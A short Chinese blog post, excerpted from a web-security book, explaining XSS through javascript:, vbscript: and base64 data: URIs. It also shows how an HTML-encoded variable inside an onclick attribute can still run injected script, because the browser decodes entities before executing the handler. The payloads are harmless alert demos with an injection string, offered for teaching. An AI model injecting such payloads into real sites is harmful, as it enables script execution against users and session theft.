利用伪协议与默认所有的变量都会被escape进行XSS

摘自《白帽子讲Web安全》


<a href="javascript:alert(1);">test</a>
<IMG src='vbscript:msgbox("XSS")'>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">test</a>



python开发框架Django和web2py都选择在View层默认HtmlEncode所有变量,但仍可能出现XSS:

栗子:

<body>
<a href=# onclick="alert('$var');">test</a>
</body>

如果用户输入:

$var = htmlencode("');alert('2");

对浏览器来说,htmlparser会优先于JavaScript Parser执行,所以解析过程是,被HtmlEncode的字符先被解码,然后执行JavaScript事件。

<body>
<a href=# onclick="alert('');alert('2');">test</a>
</body>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章